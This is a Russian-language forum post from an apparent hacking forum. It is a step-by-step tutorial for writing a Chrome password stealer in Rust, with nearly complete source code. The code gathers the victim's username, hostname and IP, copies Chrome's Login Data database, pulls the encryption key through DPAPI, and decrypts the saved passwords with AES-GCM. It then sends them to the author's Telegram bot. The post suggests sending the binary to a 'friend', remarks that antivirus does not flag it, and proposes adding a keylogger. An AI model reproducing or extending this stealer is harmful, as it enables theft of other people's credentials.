• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Собираем пароли Chrome и отправляем в Telegram. Простейший стилер на Rust

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
Мы уже рассказывали о написании стилера паролей на C и делали кейлогер и RAT своими руками. С тех пор многое изменилось, например в Chrome появилось шифрование паролей, а многие злоумышленники не стесняются использовать Telegram для сбора ворованных данных. Сегодня я покажу в деталях как написать простейший стилер паролей от Chrome с отправкой в «телегу» на языке Rust. Почему Rust? Это очень перспективный язык, по синтаксису и скорости выполнения кода очень похожий на C.

Поэтому для тех, кто имел дело с C освоить Rust не составит труда. Rust, на ряду с С горяче любим создателями различной малвари. И, хотя, C остаётся «олдскульным» выбором, разработка Rust не стоит на месте и некоторые считают, что за ним будущее.

Качаем и устанавливаем Rust​

Стилер будет работать из под винды, соответвенно предполагается что ваша среда разработки Windows.

Поэтому начнем с установки Rust для Windows. Сделать это довольно просто, качаем exe отсюда: https://www.rust-lang.org/tools/install

Открываем Windows PowerShell и переходим в терминале на наш Рабочий стол командой:
Код:
cd Desktop
Если проект необходимо создать в другой папке, а не на рабочем столе, зайдите через PowerShell куда вам необходимо, это не принципиально.

Теперь создаем проект с помощью пакетного менеджера cargo, пишем в терминале:
Код:
cargo new strl_chrm_password_rust
*strl_chrm_password_rust — название проекта, ваше название может быть другим.
Папка strl_chrm_password_rust должна была появиться на рабочем столе.

Открываем Visual Studio Code (или любой другой удобный редактор) и папку которую только что создали.

Если всё ок, вы увидите следующую структуру:

215137925_screenshotfrom2021-09-3011-28-37.png

Открываем терминал в VS Code: CTRL + SHIFT + ` (` — возле клавиши 1, вверху)

Проверим если всё работает выполнив команду:
Код:
cargo run
Если всё ок, в папке проекта появится папка target, а результатом будет выполнение программы из файла src/main.rs, а именно вывод строки “Hello, world!”.

895383093_screenshotfrom2021-09-3011-31-39.png

Собираем данные о пользовате​

Начнём с того, что соберём данные о пользователе — его ип, юзернейм, имя хост-машины.

Открываем файл main.rs и приступаем.

Для начала создадим необходимые структуру пользователя с опеределением типов:
Код:
struct User {
ip: String,
username: String,
hostname: String,
}
Теперь наш main.rs должен выглядить примерно так:

750503379_screenshotfrom2021-09-3011-34-16.png

В Rust в качестве подключаемых библиотек используются «крейты» от слова crate, ящик. Бывает два типа крейтов: библиотечный и исполняемый. Библиотечные крейты можно подключать в другие крейты, но нельзя исполнять. Исполняемые же крейты — полная противоположность библиотечным — могут исполняться, но их нельзя подключить в другие крейты. Для того, чтобы определить имя хоста и юзернейм воспользуемся крейтом whoami.

Установить крейт можно благодаря уже знакомому нам пакетному менеджеру cargo.

Добавим зависимость в файл Cargo.toml и при следующей сборке зависимость автоматически подтянется.

В файл Cargo.toml в dependencies:
Код:
whoami = "1.1.3"
251400744_screenshotfrom2021-09-3011-37-57.png

Теперь можно проверить, если все будет работать, как мы хотим.

Для этого в функции main вместо:
Код:
println!("Hello, world!");
Пишем:
Код:
println!("{} {}", whoami::username(), whoami::hostname());
В самый верх файла main.rs добавляем:
Код:
use whoami;
В итоге теперь наш main.rs должен выглядить следующим образом:

2090904730_screenshotfrom2021-09-3011-40-04.png

Снова запускаем:
Код:
cargo run
Теперь вместо «Hello, world!» у нас должно отобразиться имя пользователя и хоста.

С этим разобрались, теперь необходимо определить ip. Для этого будем использовать get запрос на httpbin тчк org/ip

Формат ответа у нас будет приходить в json в следующем формате:
Код:
{
"origin": "1.2.3.4"
}
Поэтому подготовим структуру для такого ответа:
Код:
struct Ip {
origin: String,
}
Добавляем структуру Ip куда-нибудь под структуру User.

Напишем саму функцию, которая поможет нам получить ip.

Т.к. IP мы будем десеарилизовывать при ответе, нам необходимо добавить derive аттрибут из крейта serde — Deserialize к структуре Ip.

Так же мы будем делать запросы, в этом нам поможет крейт ureq.

Для этого в Cargo.toml добавляем новые зависимости под/над whoami:
Код:
serde = { version = "1.0.130", features = ["derive"] }
serde_json = "1.0.68"
ureq = { version = "*", features = ["json", "charset"] }

В самый верх main.rs добавляем:
Код:
use serde::Deserialize;
use serde_json::Value;
Теперь к скрутуре Ip можем добавить Deserialize, делаем это таким образом:
Код:
#[derive(Deserialize)]
struct Ip {
origin: String,
}
Имплементируем структуре User следущую логику:
Код:
impl User {
fn ip() -> Result<String, ureq::Error> {
let body: String = ureq::get("http://httpbin.org/ip")
.call()?
.into_string()?;
let ip: Ip = serde_json::from_str(body.as_str()).unwrap();
Ok(ip.origin)
}
}
Ну и давайте снова все проверим, в вывод строки добавим ип:
Код:
println!("{} {} {}", whoami::username(), whoami::hostname(), User::ip().unwrap());
Запускаем:
Код:
cargo run
Теперь в терминале, помимо имени пользователя и хоста должно появиться ещё и значение ip.

Таким образом теперь наш main.rs должен выглядеть примерно так:

1849522066_screenshotfrom2021-09-3011-45-22.png

Готовим структуру для данных Chrome

С информацией о пользователе мы разобрались. Теперь давайте приступим к основной части, а именно попробуем вытащить сохраненные в Chrome пароли.

Для начала сделаем структуру и разместим её под стурктурой Ip:
Код:
struct Chrome {
url: String,
login: String,
password: String,
}
Ну и сразу же давайте подготовим блок для имлементации функций типу Chrome, по аналогии как с User, добавляем:
Код:
impl Chrome {
//
}

1835377666_screenshotfrom2021-09-3011-47-33.png

Первое, что нам необходимо будет сделать, это как-то взаимодействовать с файловой системой. Поэтому снова добавим зависимость в наш Cargo.toml:
Код:
platform-dirs = "0.3.0"
Этот крейт поможет определить нужные нам пути.

Как обычно добавляем вверху файла main.rs:
Код:
use platform_dirs::AppDirs;
Также из стандартной библиотеки нам понадобится PathBuf:
Код:
use std::{path::PathBuf};
Записываем в таком формате, т.к. список зависимостей из стандартной библиотеки еще будет расширяться.

1684764049_screenshotfrom2021-09-3011-50-39.png

Ищем локальную БД Chrome и работаем с файлом

И так, теперь давайте приступим к самим паролям. Пароли хрома хранятся в файле Login Data, который обычно находится по такому пути — C:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Default

Login Data – это самая простая sqlite БД, отсюда нам и необходимо вытащить сокровенное.

Давайте напишем функцию которая найдет нам файл БД и создаст нам копию файла.

Для этого вверху файла main.rs немного расширим используемые нами модули из стандартной библиотеки, добавим к path::PathBuf еще fs, для работы с файловой системой:
Код:
use std::{path::PathBuf, fs};

use std::{path::PathBuf, fs};

Для того, что бы определить папку нашего пользователя воспользуемся библиотекой platform_dirs которую мы ранее добавили. И сразу же найдем файл с БД.

В блоке impl Chrome добавим функцию:
Код:
fn local_app_data_folder(open: &str) -> PathBuf {
AppDirs::new(Some(open), false).unwrap().data_dir
}
Аргумент open мы передадим уже из функции, которая поможет найти и переместить наш файл.

Теперь мы можем найти наш файл с БД и давайте сразу перенесем его куда-нибудь, чтоб не получилось так, что в момент обращения к БД она будет локнута. Так же в блок impl Chrome добавим функцию find_db:
Код:
fn find_db() -> std::io::Result<PathBuf> {
let local_sqlite_path = Chrome::local_app_data_folder("Google\\Chrome\\User Data\\Default\\Login Data");
let moved_to = Chrome::local_app_data_folder("sqlite_file");
let db_file = moved_to.clone();
fs::copy(local_sqlite_path, moved_to)?;

Ok(db_file)
}
В переменной local_sqlite_path мы сразу передаем аргументом то, что нам надо найти, а именно: Google\\Chrome\\User Data\\Default\\Login Data, а там уже наша библиотека path_dirs сама определит у какого пользователя искать.

Отлично, теперь у нас есть функции которые определят папку пользователя, найдут и переместят наш файл с БД.

Снова давайте проверим, если всё работает как надо, в main.rs добавим:
Код:
Chrome::find_db();
Запускаем:
Код:
cargo run
Открываем C:\Users\USERNAME\AppData\Local и смотрим, у нас появился файл с именем sqlite_file, значит всё ок.

Наш main.rs постепенно приобретает вид:

788888107_screenshotfrom2021-09-3011-53-46.png

Подключение к БД и попытка вытащить информацию

Файл с БД мы нашли и переместили куда нам надо, теперь давайте подключимся к самой БД и посмотрим что там.

Для работы с БД, воспользуемся крейтом rusqlite.

Возвращаемся к нашему файлу Cargo.toml и под блок dependencies, отдельно добавим rusqlite таким образом:
Код:
[dependencies.rusqlite]
version = "0.25.3"
features = ["bundled"]
Объяснять почему именно так не буду, если кому интересно, почему с этим пакетом так, то загуглите — «How to build rusqlite on Windows».

Теперь Cargo.toml должен выглядить примерно так:

1009928516_screenshotfrom2021-09-3011-56-12.png

В main.rs так же как обычно наверх добавляем нашу новую зависимость:
Код:
use rusqlite::{Connection, Result};
Теперь давайте попобуем вытащить данные из нашего файла с БД, напишем функцию obtain_data_from_db и там же попробуем использовать нашу ранее написанную функцию find_db. Все так же, добавляем функцию в блок imlp Chrome:
Код:
fn obtain_data_from_db() -> Result<Vec<Chrome>> {
let conn = Connection::open(Chrome::find_db().unwrap())?;

let mut stmt = conn.prepare("SELECT action_url, username_value, password_value from logins")?;
let chrome_data = stmt.query_map([], |row| {
Ok(Chrome {
url: row.get(0)?,
login: row.get(1)?,
password: row.get(2)?,
})
})?;

let mut result = vec![];

for data in chrome_data {
result.push(data.unwrap());
}

Ok(result)
}
В переменной conn, мы аргументом в open передаем файл БД sqlite который мы нашли и переместели ранее с помощью find_db.

Далее пишем простой SQL запрос, который вытащит все, что нам надо из таблицы logins.

Ну и с помощью query_map создаем структуры Chrome и всё это помещаем в вектор, отдав результат.

Как обычно проверяем, в функции main вместо:
Код:
Chrome::find_db();
println!("{} {} {}", whoami::username(), whoami::hostname(), User::ip().unwrap());
Пишем:
Код:
let res = Chrome::obtain_data_from_db();

println!("{:?}", res.unwrap());
И над структурой Chrome, добавим derive Debug, теперь она будет выглядить так:
Код:
#[derive(Debug)]
struct Chrome {
url: String,
login: String,
password: String,
}
Скрестим пальцы и надеемся, что сейчас всё выведет в терминал:
Код:
cargo run
Но мимо нас пролетает розовая птица обломинго, что-то не так с типом пароль:
Код:
thread 'main' panicked at 'called `Result::unwrap()` on an `Err` value: InvalidColumnType(2, "password_value", Blob)', src\main.rs:65:30
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
error: process didn't exit successfully: `target\debug\strl_chrm_password_rust.exe` (exit code: 101)
У нас в структуре password это String. Ну ок, давайте себя немного успокоим, мы то знаем, что пароль зашифрован и так совершенно другой тип(Vec<u8>), к этому мы вернемся чуть позже, а так то всё работает?

Давайте в нашей функции obtain_data_from_db, где создается стуктура Chrome попробуем паролю поставить row1, вместо row2.

Вместо:
Код:
Ok(Chrome {
url: row.get(0)?,
login: row.get(1)?,
password: row.get(2)?,
})
Где password ставим row.get(1)?, теперь так:
Код:
Ok(Chrome {
url: row.get(0)?,
login: row.get(1)?,
password: row.get(1)?,
Запускаем:
Код:
cargo run
Вот теперь то, что надо, только вместо пароля логин. Хорошо, с этим мы разберемся позже, давайте посмотрим на наш main.rs и пойдем дальше:

55532826_screenshotfrom2021-09-3012-00-58.png

977960939_screenshotfrom2021-09-3012-01-38.png

Расшифровываем пароль

И так, мы знаем что наш пароль в БД зашифрован.

Вдаваться в подробности я сильно не буду, лишь кратко скажу, что используется AEAD-режим блочного шифрования. Можно загуглить, если интересно.

Первое что необходимо — это вытащить ключ хрома, ну и второе — собственно расшифровать сам пароль.

Как я уже сказал, в детали углубляться не будем, кратко:

1. Вытаскиваем файл Local State

2. Находим там ключ

3. Декодируем его, с помощью winapi расшифровываем и на выходе получаем нужный вектор с байтами. (подробнее тут: docs тчк microsoft тчк com/ru-ru/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata)

Для всех этих манипуляций нам будет необходим крейт winapi и base64, поэтому в Cargo.toml добавляем:
Код:
winapi = { version = "0.3", features = ["dpapi", "wincrypt", "winnt", "minwindef"] }
base64 = "0.13.0"

В main.rs, как обычно наверх добавим:
Код:
use winapi::{um::wincrypt::CRYPTOAPI_BLOB, um::dpapi::CryptUnprotectData, shared::minwindef::BYTE};

Так же немного расширим использование стандартной библиотеки, вместо:
Код:
use std::{path::PathBuf, fs};

Пишем:
Код:
use std::{convert::TryInto, ptr, io::BufReader, io::Read, fs::File, path::PathBuf, fs};

Теперь напишем саму функцию получения ключа, в наш блок impl Chrome, под функцию local_app_data_folder добавим:
Код:
fn chrome_saved_key() -> Result<Vec<BYTE>, std::io::Error> {
let local_state_path = Chrome::local_app_data_folder("Google\\Chrome\\User Data\\Local State");
let file = File::open(local_state_path)?;

let mut buf_reader = BufReader::new(file);
let mut contents = String::new();
buf_reader.read_to_string(&mut contents)?;

let deserialized_content: Value = serde_json::from_str(contents.as_str())?;

let mut encrypted_key = deserialized_content["os_crypt"]["encrypted_key"].to_string();
encrypted_key = (&encrypted_key[1..encrypted_key.len() - 1]).parse().unwrap();

let decoded_password = base64::decode(encrypted_key).unwrap();
let mut password = decoded_password[5..decoded_password.len()].to_vec();
let bytes: u32 = password.len().try_into().unwrap();

let mut blob = CRYPTOAPI_BLOB { cbData: bytes, pbData: password.as_mut_ptr() };
let mut new_blob = CRYPTOAPI_BLOB { cbData: 0, pbData: ptr::null_mut() };

unsafe {
CryptUnprotectData(
&mut blob,
ptr::null_mut(),
ptr::null_mut(),
ptr::null_mut(),
ptr::null_mut(),
0,
&mut new_blob,
)
};

let cb_data = new_blob.cbData.try_into().unwrap();

let res = unsafe {
Vec::from_raw_parts(new_blob.pbData, cb_data, cb_data)
};

println!("{:?}", res); //для проверки

Ok(res)
}
Проверяем, в функцию main добавим под println!(«{:?}», res.unwrap()):
Код:
Chrome::chrome_saved_key();
Запускаем. Уже помнишь как?

Теперь в терминале под вектором из Chrome стуктур должен появится еще и вектор байтов, значит всё ок.

Строку println!(«{:?}», res) из chrome_saved_key теперь можно убрать.

Сейчас main.rs должен выглядеть примерно так:

1392013427_screenshotfrom2021-09-3012-06-59.png

1355754356_screenshotfrom2021-09-3012-07-36.png

666632802_screenshotfrom2021-09-3012-08-05.png

Ключ мы вытащили, теперь давайте расшифруем сам пароль, который есть в БД.

Для расшифровки пароля нам потребуется крейт aes_gcm.

В Cargo.toml добавим:
Код:
aes-gcm = "0.9.4"
Теперь он выглядит вот так:

655270595_screenshotfrom2021-09-3012-10-481.png

Как обычно добавим зависимости вверх main.rs:
Код:
use aes_gcm::{Aes256Gcm, Error};
use aes_gcm::aead::{Aead, NewAead};
use aes_gcm::aead::generic_array::GenericArray;

В блоке impl Chrome в самый низ добавим функцию decrypt_password, входным аргументом будет собственно сам зашифрованный пароль из БД:
Код:
fn decrypt_password(password: Vec<u8>) -> winapi::_core::result::Result<String, Error> {
let key_buf = Chrome::chrome_saved_key().unwrap();
let key = GenericArray::from_slice(key_buf.as_ref());
let cipher = Aes256Gcm::new(key);
let nonce = GenericArray::from_slice(&password[3..15]);
let plaintext = cipher.decrypt(nonce, &password[15..])?;

let decrypted_password = String::from_utf8(plaintext).unwrap();

Ok(decrypted_password)
}
Теперь вернемся в функцию obtain_data_from_db и вспомним, как мы вместо пароля ставили логин, теперь попробуем воспользоваться нашей новой функцией расшифровки пароля.

Вместо:
Код:
let chrome_data = stmt.query_map([], |row| {
Ok(Chrome {
url: row.get(0)?,
login: row.get(1)?,
password: row.get(1)?,
})
})?;
Пишем:
Код:
let chrome_data = stmt.query_map([], |row| {
Ok(Chrome {
url: row.get(0)?,
login: row.get(1)?,
password: Chrome::decrypt_password(row.get(2)?).unwrap(),
})
})?;
А теперь запускаем:
Код:
cargo run
Хех, теперь у нас есть вектор из Chrome структур с полным набором данных.

Наш main.rs теперь должен иметь следующий вид:

1144049242_screenshotfrom2021-09-3012-13-17.png

1392013427_screenshotfrom2021-09-3012-06-59-1.png

1694099821_screenshotfrom2021-09-3012-14-18.png

Отправляем полученные данные в телеграм

Пароли мы вытащили, теперь давайте разберемся, что с ними делать. А давайте отправим себе в телеграм, можно придумать и что-то другое, но пусть в данном случае будет творение Дурова.

И так, в нашей функции main стираем всё, что мы ранее писали:
Код:
fn main() {
let res = Chrome::obtain_data_from_db();

println!("{:?}", res.unwrap());

Chrome::chrome_saved_key();
}
Под ней напишем функцию grabber, которая очень некрасивым кодом превратит все данные в красивую строку:
Код:
fn grabber() -> String {
let user = User {
ip: User::ip().unwrap(),
username: whoami::username(),
hostname: whoami::hostname(),
};

let newline = "\n";
let mut result: String = "IP: ".to_owned();
result.push_str(&*user.ip);
result.push_str(newline);
result.push_str("Username: ");
result.push_str(&*user.username);
result.push_str(newline);
result.push_str("Hostname: ");
result.push_str(&*user.hostname);
result.push_str(newline);
result.push_str(newline);

let chrome_data = Chrome::obtain_data_from_db().unwrap();

for data in &chrome_data {
result.push_str("URL: ");
result.push_str(&*data.url);
result.push_str(newline);
result.push_str("Login: ");
result.push_str(&*data.login);
result.push_str(newline);
result.push_str("Password: ");
result.push_str(&*data.password);

result.push_str(newline);
result.push_str(newline);
}

result
}

В main вызваем собственно фунцию grabber:
Код:
let res = grabber();
Добавляем последнию зависимость в Cargo.toml:
Код:
telegram_notifyrs = "0.1.3"
Финальная версия Cargo.toml:

1779148048_screenshotfrom2021-09-3012-19-04.png

Она поможет нам отправить сообщение в телеграм.

Под let res = grabber() добавим в функции main:
Код:
let telegram_token = "telegram_token";
let telegram_chat_id = 1234567891;
telegram_notifyrs::send_message(res, telegram_token, telegram_chat_id);
Значение токена и chat_id, понятное дело, должно быть ваше.

Запускаем:
Код:
cargo run
Если токен и chat_id верные, то в телеграм должно прийти, что-то вроде:

2078074468_screenshotfrom2021-09-3012-20-37.png

Где поля конечно же не должны быть пустыми.

И так, финальная версия нашего main.rs:

1015096817_screenshotfrom2021-09-3012-22-20.png

507183535_screenshotfrom2021-09-3012-22-54.png

967223253_screenshotfrom2021-09-3012-23-26.png

1484250802_screenshotfrom2021-09-3012-23-541.png

Наконец давайте соберем наш бинарник.

В терминале выполняем cargo run, только с флагом release:
Код:
cargo run --release
Если всё удачно скомпилировалось, то в папке target/release появится файл strl_chrm_password_rust.exe

Отправляем файл другу — все его пароли у нас. Перенаправьте ему сообщение с паролями и скажите ему чтоб больше так не делал, а заодно сменил все пароли.

Загрузим наш бинарник на вирустотал. В Багдаде всё спокойно (пока).

Получим несколько сообщений от ботов с вирустотал(или нет) в телеграм и удаляем всю папку strl_chrm_password_rust и забываем обо всём.

Совсем не сложно, правда? Конечно же функционал можно доработать, например, добавить кейлогер. И сделать это совсем не сложно.

источник
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх